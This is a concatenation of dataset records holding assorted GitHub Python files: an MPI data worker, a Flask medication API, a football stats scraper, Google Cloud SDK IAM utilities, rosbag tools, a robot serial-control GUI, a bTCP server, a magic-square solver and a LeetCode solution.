mpi_comm.recv(source=0, tag=MPI_TAGS.SERV_DATA_2)\n sts.logger.info(\"Parameters received\")\n N_atoms: int = params[cs.fields.N_atoms]\n bdims: npt.NDArray[np.float32] = params[cs.fields.dimensions]\n dt: float = params[cs.fields.time_step]\n dis: int = params[cs.fields.every]\n\n box = freud.box.Box.from_box(bdims)\n volume = box.volume\n sizes: npt.NDArray[np.uint32] = np.arange(1, N_atoms + 1, dtype=np.uint32)\n\n sts.logger.info(\"Trying to read temperature file\")\n temperatures_mat = pd.read_csv(cwd / cs.files.temperature, header=None)\n temptime = temperatures_mat[0].to_numpy(dtype=np.uint64)\n temperatures = temperatures_mat[1].to_numpy(dtype=np.float64)\n\n worker_counter = 0\n output_csv_fp = (cwd / params[cs.fields.data_processing_folder] / f\"rdata.{mpi_rank}.csv\").as_posix()\n ntb_fp = (cwd / params[cs.fields.data_processing_folder] / f\"ntb.{mpi_rank}.bp\").as_posix()\n sts.logger.info(f\"Trying to create adios storage: {ntb_fp}\")\n sts.logger.info(f\"Trying to open csv file: {ntb_fp}\")\n with adios2.open(ntb_fp, 'w') as adout, open(output_csv_fp, \"w\") as csv_file: # type: ignore\n writer = csv.writer(csv_file, delimiter=',')\n storage: str\n sts.logger.info(\"Stating main loop\")\n for storage in storages:\n storage_fp = (cwd / storage).as_posix()\n with adios2.open(storage_fp, 'r') as reader: # type: ignore\n total_steps = reader.steps()\n i = 0\n for step in reader:\n if i < storages[storage][cs.fields.begin]: # type: ignore\n i += 1\n continue\n arr = step.read(cs.lcf.lammps_dist)\n arr = arr[:, 2:5].astype(dtype=np.float32)\n\n stepnd = worker_counter + ino\n\n dist = distribution.get_dist(arr, N_atoms, box)\n\n adout.write(cs.lcf.mat_step, np.array(stepnd)) # type: ignore\n adout.write(cs.lcf.mat_dist, dist, dist.shape, np.full(len(dist.shape), 0), dist.shape, end_step=True) # type: ignore\n\n km = 10\n temp = temperatures[np.abs(temptime - int(stepnd * dis)) <= 1][0]\n tow = calc.get_row(stepnd, sizes, dist, temp, N_atoms, volume, dt, dis, km)\n\n writer.writerow(tow)\n csv_file.flush()\n\n worker_counter += 1\n mpi_comm.send(obj=worker_counter, dest=0, tag=MPI_TAGS.STATE)\n\n if i == storages[storage][cs.fields.end] + storages[storage][cs.fields.begin] - 1: # type: ignore\n sts.logger.info(\"Reached end of storage by soft stop\")\n break\n\n i += 1\n\n if step.current_step() == total_steps - 1:\n sts.logger.info(\"Reached end of storage by hard stop\")\n break\n\n sts.logger.info(\"Reached end\")\n mpi_comm.send(obj=STATE.EXITED, dest=0, tag=MPI_TAGS.STATE)\n sts.logger.info(\"Exiting...\")\n return 0\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"Architect0rr/MDNP","sub_path":"MDNP/mpi/sense/workers/one_threaded.py","file_name":"one_threaded.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39648049304","text":"from flask import Blueprint, jsonify, request\nfrom werkzeug.exceptions import BadRequest\n\n# Entities\nfrom models.entities.Medicamento import Medicamento\n\n# Models\nfrom models.medicamentoModel import MedicamentoModel\n\nMedicamentoApi = Blueprint(\"medicamento_blueprint\", __name__)\n\n\n@MedicamentoApi.route(\"/\", methods=[\"GET\"])\ndef get_medicamento(ci):\n try:\n medicamento = MedicamentoModel.get_medicamento(ci)\n if medicamento != None:\n return jsonify(medicamento), 200\n else:\n return jsonify({\"msg\": \"az\"}), 404\n except Exception as ex:\n return jsonify({\"message\": str(ex)}), 500\n\n\ndef validate_medicamento_data(data, is_update: bool):\n print(data, is_update)\n if is_update:\n required_fields = [\"id\", \"nombre\"]\n else:\n required_fields = [\"id_paciente\", \"nombre\"]\n missing_fields = [field for field in required_fields if field not in data]\n\n if missing_fields:\n raise BadRequest(\n f\"Los campos obligatorios {', '.join(missing_fields)} están ausentes\"\n )\n \n id = data.get(\"id\", 0)\n id_paciente = data.get(\"id_paciente\", 0)\n nombre = data[\"nombre\"]\n descripcion = data.get(\"descripcion\", \"\")\n cantidad = data.get(\"cantidad\")\n unidad = data.get(\"unidad\", \"\")\n \n if cantidad is not None and not isinstance(cantidad, int):\n print(\"La cantidad no es un número entero.\")\n cantidad = 0\n return Medicamento(id, nombre, descripcion, cantidad, unidad, id_paciente)\n\n\n@MedicamentoApi.route(\"/add\", methods=[\"POST\"])\ndef add_medicamento():\n if request.method != \"POST\":\n return jsonify({\"message\": \"La solicitud debe ser de tipo POST\"}), 405\n try:\n data = request.get_json()\n medicamento = validate_medicamento_data(data, False)\n affected_rows = MedicamentoModel.add_medicamento(medicamento)\n\n if affected_rows == 1:\n return jsonify({\"message\": \"Medicamento Agregada!\"}), 201\n else:\n return jsonify({\"message\": \"Error al insertar Medicamento\"}), 500\n\n except BadRequest as e:\n return jsonify({\"message\": str(e)}), 400\n\n except Exception as e:\n return jsonify({\"message\": \"Error interno del servidor\"}), 500\n\n\n@MedicamentoApi.route(\"/view/\", methods=[\"GET\"])\ndef view_medicam(id):\n try:\n if request.method == \"GET\":\n medicam = MedicamentoModel.view_medicamentos(id)\n if medicam is not None:\n return jsonify(medicam), 200\n else:\n return jsonify({\"message\": \"no se encontro Medicamento!\"}), 404\n return jsonify({\"message\": \"Metodo no valido!\"}), 405\n except Exception as ex:\n return jsonify({\"message\": str(ex)}), 500\n\n\n@MedicamentoApi.route(\"/update\", methods=[\"PUT\"])\ndef update_medicamento():\n try:\n if request.method == \"PUT\" or request.method == \"PATCH\":\n data = request.get_json()\n medicamento = validate_medicamento_data(data, True)\n print(medicamento.to_JSON())\n if MedicamentoModel.update_medicamento(medicamento):\n return jsonify({\"message\": \"Medicamento Actualizada!\"}), 200\n else:\n return jsonify({\"message\": \"Medicamento no Actualizada!\"}), 404\n else:\n return jsonify({\"message\": \"Metodo no valido\"}), 404\n except Exception as ex:\n return jsonify({\"message\": str(ex)}), 500\n\n\n@MedicamentoApi.route(\"/delete/\", methods=[\"DELETE\"])\ndef delete_medicamento(id):\n try:\n if request.method == \"DELETE\":\n affected_rows = MedicamentoModel.delete_medicamento(id)\n if affected_rows == 1:\n return jsonify({\"message\": \"Medicamento Eliminado!\"}), 200\n else:\n return jsonify({\"message\": \"Medicamento no Eliminado!\"}), 404\n return jsonify({\"message\": \"Metodo no valido!\"}), 405\n except Exception as ex:\n return jsonify({\"message\": str(ex)}), 500\n","repo_name":"waltherx/seguroapi","sub_path":"routes/medicamento.py","file_name":"medicamento.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23140000746","text":"import requests\r\nimport pandas as pd\r\nimport json\r\n\r\n# We will be parsing data for 2019/20 Season \r\nSEASON_ID = 274\r\n#Url to get id of all players that played in the season\r\nURL = \"https://footballapi.pulselive.com/football/players\"\r\n#Empty DataFrame\r\ndf = pd.DataFrame()\r\n\r\n# Headers required for making a GET request\r\n\r\nheaders = {\r\n \"content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\r\n \"DNT\": \"1\",\r\n \"Origin\": \"https://www.premierleague.com\",\r\n \"Referer\": \"https://www.premierleague.com/players\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\"\r\n}\r\n# Query parameters required to make get request\r\nqueryParams = {\r\n \"pageSize\": 1500,\r\n \"compSeasons\": SEASON_ID,\r\n \"altIds\": True,\r\n \"page\": 0,\r\n \"type\": \"player\",\r\n \r\n}\r\n# Sending the request with url, headers, and query params\r\nresponse = requests.get(url = URL, headers = headers, params = queryParams,verify=False)\r\n\r\n# if response status code is 200 OK, then\r\nif response.status_code == 200:\r\n # load the json data\r\n data = json.loads(response.text)\r\n # Iterating each player\r\n for player in data[\"content\"]:\r\n # Excluding Players on loan\r\n if 'loan' not in player['info']:\r\n \r\n stat_dict={}\r\n\r\n stat_dict.update( {'id':player['id'] ,'Position':player['info']['positionInfo'] ,'Position_info':player['info']['position'],'First_Name':player['name']['first'] ,'Last_Name':player['name']['last'] } )\r\n # Adding player id as query to get in-depth stat for the player\r\n stat_url='https://footballapi.pulselive.com/football/stats/player/'+str(int(player['id']))\r\n stat_queryParams = {\r\n \"comps\": 1,\r\n \"compSeasons\": SEASON_ID,\r\n \r\n }\r\n response = requests.get(url = stat_url, headers = headers, params = stat_queryParams,verify=False)\r\n if response.status_code == 200:\r\n # load the json data\r\n data = json.loads(response.text)\r\n # Checking if stats are available\r\n if data['stats'] and len(data)==2:\r\n for stat in data['stats']:\r\n stat_dict.update( {stat['name']:stat['value']})\r\n \r\n df = df.append(stat_dict,ignore_index=True,sort=False)\r\ndf.to_csv('player_data.csv')\r\nprint(df)","repo_name":"Ramakm/DataScience","sub_path":"Python Projects/premier_league_data.py","file_name":"premier_league_data.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"27770028529","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.storage import cloud_api\nfrom googlecloudsdk.command_lib.iam import iam_util\nfrom googlecloudsdk.command_lib.storage import errors\nfrom googlecloudsdk.command_lib.storage import plurality_checkable_iterator\nfrom googlecloudsdk.command_lib.storage import storage_url\nfrom googlecloudsdk.command_lib.storage import wildcard_iterator\nfrom googlecloudsdk.command_lib.storage.tasks import set_iam_policy_task\nfrom googlecloudsdk.command_lib.storage.tasks import task\nfrom googlecloudsdk.command_lib.storage.tasks import task_executor\nfrom googlecloudsdk.command_lib.storage.tasks import task_graph_executor\nfrom googlecloudsdk.command_lib.storage.tasks import task_status\nfrom googlecloudsdk.command_lib.storage.tasks import task_util\n\n\ndef get_single_matching_url(url_string):\n \"\"\"Gets cloud resource, allowing wildcards that match only one resource.\"\"\"\n if not wildcard_iterator.contains_wildcard(url_string):\n return storage_url.storage_url_from_string(url_string)\n\n resource_iterator = wildcard_iterator.get_wildcard_iterator(\n url_string, fields_scope=cloud_api.FieldsScope.SHORT)\n plurality_checkable_resource_iterator = (\n plurality_checkable_iterator.PluralityCheckableIterator(resource_iterator)\n )\n\n if plurality_checkable_resource_iterator.is_plural():\n raise errors.InvalidUrlError(\n 'get-iam-policy must match a single cloud resource.')\n return list(plurality_checkable_resource_iterator)[0].storage_url\n\n\ndef execute_set_iam_task_iterator(iterator, continue_on_error):\n \"\"\"Executes single or multiple set-IAM tasks with different handling.\n\n Args:\n iterator (iter[SetIamPolicyTask]): Contains set IAM task(s) to execute.\n continue_on_error (bool): If multiple tasks in iterator, determines whether\n to continue executing after an error.\n\n Returns:\n int: Status code. For multiple tasks, the task executor will return if\n any of the tasks failed.\n object|None: If executing a single task, the newly set IAM policy. This\n is useful for outputting to the terminal.\n \"\"\"\n plurality_checkable_task_iterator = (\n plurality_checkable_iterator.PluralityCheckableIterator(iterator))\n\n if not plurality_checkable_task_iterator.is_plural():\n # Underlying iterator should error if no matches, so this means there is a\n # single match. Output its new policy to match other IAM set commands.\n return 0, task_util.get_first_matching_message_payload(\n next(plurality_checkable_task_iterator).execute().messages,\n task.Topic.SET_IAM_POLICY)\n\n task_status_queue = task_graph_executor.multiprocessing_context.Queue()\n exit_code = task_executor.execute_tasks(\n plurality_checkable_task_iterator,\n parallelizable=True,\n task_status_queue=task_status_queue,\n progress_manager_args=task_status.ProgressManagerArgs(\n increment_type=task_status.IncrementType.INTEGER, manifest_path=None),\n continue_on_error=continue_on_error)\n return exit_code, None\n\n\ndef add_iam_binding_to_resource(args, url, messages, policy):\n \"\"\"Extracts new binding from args and applies to existing policy.\n\n Args:\n args (argparse Args): Contains flags user ran command with.\n url (CloudUrl): URL of target resource, already validated for type.\n messages (object): Must contain IAM data types needed to create new policy.\n policy (object): Existing IAM policy on target to update.\n\n Returns:\n object: The updated IAM policy set in the cloud.\n \"\"\"\n condition = iam_util.ValidateAndExtractCondition(args)\n iam_util.AddBindingToIamPolicyWithCondition(\n messages.Policy.BindingsValueListEntry, messages.Expr, policy,\n args.member, args.role, condition)\n\n task_output = set_iam_policy_task.SetIamPolicyTask(url, policy).execute()\n return task_util.get_first_matching_message_payload(task_output.messages,\n task.Topic.SET_IAM_POLICY)\n\n\ndef remove_iam_binding_from_resource(args, url, policy):\n \"\"\"Extracts binding from args and removes it from existing policy.\n\n Args:\n args (argparse Args): Contains flags user ran command with.\n url (CloudUrl): URL of target resource, already validated for type.\n policy (object): Existing IAM policy on target to update.\n\n Returns:\n object: The updated IAM policy set in the cloud.\n \"\"\"\n condition = iam_util.ValidateAndExtractCondition(args)\n iam_util.RemoveBindingFromIamPolicyWithCondition(policy, args.member,\n args.role, condition,\n args.all)\n\n task_output = set_iam_policy_task.SetIamPolicyTask(url, policy).execute()\n return task_util.get_first_matching_message_payload(task_output.messages,\n task.Topic.SET_IAM_POLICY)\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/storage/iam_command_util.py","file_name":"iam_command_util.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"28115790305","text":"import re\nfrom typing import Dict, List, Optional, Tuple\n\nfrom rosbag import Bag\n\nfrom mohou_ros_utils.interpolator import (\n AbstractInterpolationRule,\n NullInterpolationRule,\n)\nfrom mohou_ros_utils.synclonizer import synclonize\nfrom mohou_ros_utils.types import TimeStampedSequence\n\n\ndef resolve_topic_type(tmp_msg_type_name: str) -> Tuple[str, str]:\n \"\"\"convert _std_msgs__String -> std_msgs.msg, String\"\"\"\n m = re.match(r\"_(\\w+)__(\\w+)\", tmp_msg_type_name)\n assert m is not None\n module_name = m.group(1) + \".msg\"\n message_name = m.group(2)\n return module_name, message_name\n\n\ndef bag_to_seqs(bag: Bag, topic_names: Optional[List[str]] = None) -> List[TimeStampedSequence]:\n\n if topic_names is not None:\n topic_set = set(topic_names)\n\n def is_ignore(topic_name):\n if topic_names is None:\n return False\n return topic_name not in topic_set\n\n table: Dict[str, TimeStampedSequence] = {}\n for topic_name, msg, time in bag.read_messages(): # type: ignore\n\n if is_ignore(topic_name):\n continue\n\n if topic_name not in table:\n module_name, type_name = resolve_topic_type(msg.__class__.__name__)\n ldict = {\"message_type\": None}\n try:\n exec(\"message_type = {}\".format(type_name), globals(), ldict)\n except NameError:\n # https://stackoverflow.com/questions/1463306\n # These code seems to dangerous. Is there better way to do this?\n exec(\"from {} import {}\".format(module_name, type_name), globals(), ldict)\n exec(\"message_type = {}\".format(type_name), globals(), ldict)\n message_type = ldict[\"message_type\"]\n assert message_type is not None\n table[topic_name] = TimeStampedSequence.create_empty(message_type, topic_name=topic_name) # type: ignore\n table[topic_name].append(msg, time.to_sec())\n\n return list(table.values())\n\n\ndef bag_to_synced_seqs(\n bag: Bag,\n freq: float,\n topic_names: Optional[List[str]] = None,\n rule: AbstractInterpolationRule = NullInterpolationRule(),\n) -> List[TimeStampedSequence]:\n seqs = bag_to_seqs(bag, topic_names)\n seqs_sync = synclonize(seqs, freq, rule)\n return seqs_sync\n","repo_name":"HiroIshida/mohou_ros","sub_path":"mohou_ros_utils/rosbag.py","file_name":"rosbag.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"6388063184","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 11 00:45:27 2018\n\n@author: Abhilash\n\"\"\"\n\n\"\"\"This code simply inserts new rows into an existing database\"\"\"\n\nimport sqlite3\n\nsqlite_file = '/Users/Abhilash/Desktop/am_transitions_copy.db'\ntable_name = 'confinement_table'\ncolumn1 = 'shot'\ncolumn2 = 'id'\ncolumn3 = 'present_mode'\ncolumn4 = 'next_mode'\ncolumn5 = 'time'\ncolumn6 = 'time_at_transition'\n\n# Connecting to the database file\nconn = sqlite3.connect(sqlite_file)\ncursor = conn.cursor() \ncursor.execute('select shot,id,present_mode,next_mode,time,time_at_transition from transitions_20171207')\nrows =cursor.fetchall() \nend = len(rows[:]) \ni = 0\nwhile i < end: \n try:\n while (rows[i][4]!=rows[i][5]): #NEED TO SORT BY SHOT OR MAKE NEW DATABASE FROM OLD \n time = str(rows[i][4] + 0.001)\n unique_id = str(rows[end-1][1] + 1) \n values = [rows[i][0],unique_id,rows[i][2],rows[i][3],time,rows[i][5]]\n cursor.execute(\"INSERT INTO {tn} ({c1},{c2},{c3},{c4},{c5},{c6}) VALUES ({shot_},{id_},'{mode1}','{mode2}',{t1},{t2})\".\\\n format(tn=table_name,c1=column1,c2=column2,c3=column3,c4=column4,c5=column5,c6=column6,shot_=values[0],\\\n id_=values[1],mode1=values[2],mode2=values[3],t1=values[4],t2=values[5]))\n except sqlite3.IntegrityError:\n print('ERROR: ID already exists in PRIMARY KEY column {}'.format(column2))\n print(i)\n i = i + 1\n\n## B) Tries to insert an ID (if it does not exist yet)\n## with a specific value in a second column\n#c.execute(\"INSERT OR IGNORE INTO {tn} ({idf}, {cn}) VALUES (123456, 'test')\".\\\n# format(tn=table_name, idf=id_column, cn=column_name))\n#\n## C) Updates the newly inserted or pre-existing entry \n#c.execute(\"UPDATE {tn} SET {cn}=('Hi World') WHERE {idf}=(123456)\".\\\n# format(tn=table_name, cn=column_name, idf=id_column))\n\nconn.commit()\nconn.close()","repo_name":"website-v2/cmod_database","sub_path":"insert_rows_database.py","file_name":"insert_rows_database.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73061530144","text":"import os\r\ndescargas = os.listdir(\"D:\\Descargas\")\r\n#Puse la ubicacion de mi carpeta de Descargas\r\n\r\nfor i in descargas:\r\n \r\n if os.path.isfile(\"D:\\Descargas\\\\\"+i) == True:\r\n print (f'{i} es un archivo') \r\n else:\r\n print (f'{i} no es un archivo')\r\n tamanio= os.path.getsize(\"D:\\Descargas\\\\\"+i)\r\n print(f'Su tamanio es: {tamanio} bytes')\r\n\r\n\r\n","repo_name":"bpizzagalli/OpenBootcamp","sub_path":"Intensivo-Python/ejercicio1.py","file_name":"ejercicio1.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16215394402","text":"#!/usr/local/bin/python3\n\n# Onno de Gouw\n# Stefan Popa\n\nimport argparse\nfrom btcp.server_socket import BTCPServerSocket\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-w\", \"--window\", help=\"Define bTCP window size\", type=int, default=100)\n parser.add_argument(\"-t\", \"--timeout\", help=\"Define bTCP timeout in milliseconds\", type=int, default=100)\n parser.add_argument(\"-o\", \"--output\", help=\"Where to store the file\", default=\"output.file\")\n args = parser.parse_args()\n\n # Create a bTCP server socket\n s = BTCPServerSocket(args.window, args.timeout)\n\n # Accept the connection request\n s.accept()\n\n # Receive data from the client and write it in a file\n file = open(args.output, 'wb')\n\n data = b\"\"\n new_data = s.recv\n while new_data:\n print(\"Receiving...\")\n data += new_data\n new_data = s.recv\n file.write(data)\n\n # The full file has been received\n file.close()\n\n # Clean up any state\n s.close()\n\n\nmain()\n","repo_name":"Archangel2153/bTCP-Project","sub_path":"bTCP Project/server_app.py","file_name":"server_app.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"30924255364","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# 通讯协议:[x][x][xxx][x][xxx]\n# A部分:A+[...]\n# M部分:M+[F/B]+[000]+[F/B]+[000],分别表示左边的前进/后退+速度,右边的前进/后退+速度\n# 对于TSF,M+F+[float],浮点数为两侧波动频率\n# M+L+[float],单独调整左频率,后接终止符X\n# M+R+[float],单独调整右频率,后接终止符X\n# M+U+[float],设置波幅的上确界,后接终止符X\n# M+D+[float],设置波幅的下确界,后接终止符X\n# P部分: P+P+[float],比例增益,后接终止符X\n# P+I+[float],积分增益 ,后接终止符X\n# P+D+[float],微分增益,后接终止符X\n#C部分:C+[cmd]\n# cmd列表:L陆地模式,W海洋模式,T原色摄像头 C滤色后摄像头\n#Q部分:退出,断开tcp连接\n#I部分:开启功率采集\n#O部分:关闭并保存功率采集\n#S部分:直接停止\n# title :server.py\n# description :树莓派控制程序入口,包括了指令接收,图像回传,电机控制,视觉PID伺服控制\n# Arduino部分则包括了姿态传感器、PID和速度控制\n# author :Vic Lee \n# date :20210112\n# version :1.2\n# notes :\n# python_version :3.8.3\n# ==============================================================================\ndebug = False\n\nfrom struct import pack,unpack #用于编码浮点数为字节流\nimport time\nimport tkinter as tk\nif not debug:\n import serial\n ser = serial.Serial(\"/dev/ttyAMA0\", 9600)\n\nfl = 2.0\nfr = 2.0\nfu = 2100.0\nfd =900.0\ntune_old = 1.0\npara_list = {\"ML\":fr,\"MR\":fl,\"MU\":fu,\"MD\":fd}\n\ndef hit_me():\n for key in para_list.keys():\n sender(key,para_list[key])\n print_selection(\"全部命令已发送\")\n\ndef sender(header,var):\n byte=header.encode(\"UTF-8\") +pack('f',var)+\"X\".encode(\"UTF-8\")\n if not debug: \n ser.write(byte)\n time.sleep(0.1)\n ser.write(byte)\n return byte\n\ndef sync_method(header,var):\n para_list[header] = float(var.get())\n #print_selection(\"---------------------------\")\n print_selection(\"表头:{0},更新为:{1}\".format(header,para_list[header]))\n # print_selection(\"---------------------------\")\n\ndef trun_method(header,var):\n sender(\"ML\",0.0)\n sender(\"MR\",0.0)\n command = sender(header,var)\n #print_selection(\"---------------------------\")\n print_selection(\"主动鳍:{0},频率:{1}\".format(header,var))\n # print_selection(\"---------------------------\")\n\ndef forward_start_method(event):\n sender(\"ML\",para_list[\"ML\"])\n sender(\"MR\",para_list[\"MR\"])\n print_selection(\"左频率:{0},右频率:{1}\".format(para_list[\"ML\"],para_list[\"MR\"]))\ndef end_method(event):\n sender(\"SR\",0.0)\n sender(\"SL\",0.0)\n print_selection(\" \")\ndef print_selection(v):\n l.config(text=v)\n\n# ----循环器----\ndef looper():\n global tune_old\n if fine_tuning.get() != tune_old:\n tune_old = fine_tuning.get()\n print_selection(\"微调比例:{0}\".format(tune_old))\n sender(\"ML\",para_list[\"ML\"]*float(fine_tuning.get()))\n sender(\"MR\",para_list[\"ML\"]*(-float(fine_tuning.get()) + 2.0))\n root.after(20,looper) #10ms检查一次\n# ----循环器----\n\nroot= tk.Tk()\nroot.title('RB3tcp控制端')\nroot.geometry('480x320') # 这里的乘号不是 * ,而是小写英文字母 x\nif not debug:\n root.attributes('-fullscreen', True)\n\n\nleft_frame = tk.Frame(root,height=320, width=240)\nleft_frame.place(relx=0.25, rely=0.5, relheight=0.95, relwidth=0.5, anchor='center')\nright_frame = tk.Frame(root)\nright_frame.place(relx=0.75, rely=0.5, relheight=0.95, relwidth=0.5, anchor='center')\n\n#----左边-----\n#布局\nbotton_frame = tk.Frame(left_frame)\nbotton_frame.pack(side=\"top\")\narrow_frame = tk.Frame(left_frame)\narrow_frame.pack(side=\"bottom\",fill='both',expand='yes')\n#顶部按钮\nbotton_estabilish = tk.Button(botton_frame, text='退出系统', width=4, height=1, command=root.quit)\nbotton_estabilish.pack(side=\"left\")\nbotton_send = tk.Button(botton_frame, text='发送命令', width=4, height=1, command=hit_me)\nbotton_send.pack(side=\"right\")\n#方向键\nforward_key = tk.Button(arrow_frame, text='前进', width=4, height=2)\nforward_key.bind('',forward_start_method)\nforward_key.bind('',end_method)\nforward_key.place(relx=0.5, rely=0.2, anchor='center')\n\nleft_key = tk.Button(arrow_frame, text='左转', width=4, height=2)\nleft_key.bind('',lambda event:trun_method(\"MR\",para_list[\"ML\"]))\nleft_key.bind('',end_method)\nleft_key.place(relx=0.3, rely=0.45, anchor='center')\n\nright_key = tk.Button(arrow_frame, text='右转', width=4, height=2)\nright_key.bind('',lambda event:trun_method(\"ML\",para_list[\"MR\"]))\nright_key.bind('',end_method)\nright_key.place(relx=0.7, rely=0.45, anchor='center')\n\n#显示框\nl = tk.Label(left_frame, bg='yellow', width=20, text=' ',height = 2,wraplength=100)\nl.pack(side=\"top\")\n\n#微调摇杆\nfine_tuning=tk.DoubleVar()\nfine_tuning.set(1.0) \ntuner1 = tk.Scale(left_frame,orient=tk.HORIZONTAL,from_=0.5,to=1.5,font=('黑体',6),resolution=0.01,length=100,variable=fine_tuning)\ntuner1.bind('',end_method)\ntuner1.pack(side=\"top\")\n#----左边-----\n\n#----右边-----\nfreq_left=tk.DoubleVar() #定义变量\nfreq_right=tk.DoubleVar()\nfin_up=tk.DoubleVar()\nfin_down=tk.DoubleVar()\nfreq_left.set(fl) #设定初始值\nfreq_right.set(fr) \nfin_up.set(fu)\nfin_down.set(fd)\n\n\ntk.Label(right_frame, text='左频率').grid(row=0, column=0, padx=10, pady=5, sticky='w')\ntk.Label(right_frame, text='右频率').grid(row=1, column=0, padx=10, pady=5, sticky='w')\ntk.Label(right_frame, text='拍动上限').grid(row=2, column=0, padx=10, pady=5, sticky='w')\ntk.Label(right_frame, text='拍动下限').grid(row=3, column=0, padx=10, pady=5, sticky='w')\n\nslider1 = tk.Scale(right_frame,orient=tk.HORIZONTAL,from_=0,to=10,font=('黑体',6),resolution=0.01,length=150,variable=freq_left)\nslider1.bind('',lambda event:sync_method(\"ML\",freq_left))\nslider1.grid(row=0, column=1, padx=10, pady=5)\n\nslider2 = tk.Scale(right_frame,orient=tk.HORIZONTAL,from_=0,to=10,font=('黑体',6),resolution=0.01,length=150,variable=freq_right)\nslider2.bind('',lambda event:sync_method(\"MR\",freq_right))\nslider2.grid(row=1, column=1, padx=10, pady=5)\n\nslider3 = tk.Scale(right_frame,orient=tk.HORIZONTAL,from_=900,to=2100,font=('黑体',6),resolution=0.01,length=150,variable=fin_up)\nslider3.bind('',lambda event:sync_method(\"MU\",fin_up))\nslider3.grid(row=2, column=1, padx=10, pady=5)\n\nslider4 = tk.Scale(right_frame,orient=tk.HORIZONTAL,from_=900,to=2100,font=('黑体',6),resolution=0.01,length=150,variable=fin_down)\nslider4.bind('',lambda event:sync_method(\"MD\",fin_down))\nslider4.grid(row=3, column=1, padx=10, pady=5)\n#----右边-----\n\n\nlooper()\nroot.mainloop()\nroot.destroy()\n\n","repo_name":"SHiziw/raybotControl-openCV","sub_path":"client_tkinter_SBE.py","file_name":"client_tkinter_SBE.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"6954407810","text":"\"\"\"\nMagic squares in cpmpy\n\nSee https://en.wikipedia.org/wiki/Magic_square\n\n\nModel created by Hakan Kjellerstrand, hakank@hakank.com\nSee also my cpmpy page: http://www.hakank.org/cpmpy/\n\n\"\"\"\nimport sys,math\nimport numpy as np\nfrom cpmpy import *\nfrom cpmpy.solvers import *\nfrom cpmpy_hakank import *\n\n\ndef magic_square(n=4,num_sols=0,symmetry_breaking=False,num_procs=1):\n print(f\"\\n\\nn:{n} num_sols:{num_sols}\")\n\n m = n*n\n x = intvar(1,m,shape=(n, n), name='x')\n x_flat = x.flat\n \n total = math.ceil(n*(m+1)/2)\n print(\"total:\",total)\n \n model = Model (\n [\n AllDifferent(x),\n [ sum(row) == total for row in x],\n [ sum(col) == total for col in x.transpose()], \n # sum([ x[i,i] for i in range(n)]) == total, # diag 1\n sum(x.diagonal()) == total,\n sum([ x[i,n-i-1] for i in range(n)]) == total, # diag 2\n ]\n )\n\n if symmetry_breaking:\n model += [frenicle(x,n)]\n\n def print_sol():\n print(x.value())\n \n ss = CPM_ortools(model)\n # Flags to experiment with \n # ss.ort_solver.parameters.search_branching = ort.PORTFOLIO_SEARCH\n # ss.ort_solver.parameters.cp_model_presolve = False\n ss.ort_solver.parameters.linearization_level = 0\n ss.ort_solver.parameters.cp_model_probing_level = 0\n \n num_solutions = ss.solveAll(solution_limit=num_sols,display=print_sol)\n print(\"Nr solutions:\", num_solutions)\n print(\"Num conflicts:\", ss.ort_solver.NumConflicts())\n print(\"NumBranches:\", ss.ort_solver.NumBranches())\n print(\"WallTime:\", ss.ort_solver.WallTime())\n print(flush=True)\n\nsymmetry_breaking=True\n# n=3: 8 solutions w/o symmetry breaking\n# With symmetry breaking: 1 solution\nmagic_square(3,0,symmetry_breaking)\n\n# 880 solutions with symmetry breaking\n# magic_square(4,0,symmetry_breaking)\n\n# Just first solution (it's faster without symmetry breaking).\nsymmetry_breaking=False\nnum_sols = 1\nnum_procs = 8\nfor n in range(3,15+1):\n magic_square(n,num_sols,symmetry_breaking,num_procs)\n\n\n","repo_name":"hakank/hakank","sub_path":"cpmpy/magic_square.py","file_name":"magic_square.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":339,"dataset":"github-code","pt":"7"} +{"seq_id":"38178402433","text":"#problem url https://leetcode.com/problems/last-stone-weight/\nclass Solution:\n def lastStoneWeight(self, stones: List[int]) -> int:\n \n while len(stones) > 1:\n stones.sort()\n last_stone = stones.pop(-1)\n second_last_stone = stones.pop(-1)\n diff = last_stone - second_last_stone\n if diff:\n stones.append(diff)\n \n \n if not len(stones):\n return 0\n \n else:\n return stones[0]\n \n \n ","repo_name":"RocketBug/LeetCode","sub_path":"last_stone_weight.py","file_name":"last_stone_weight.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} 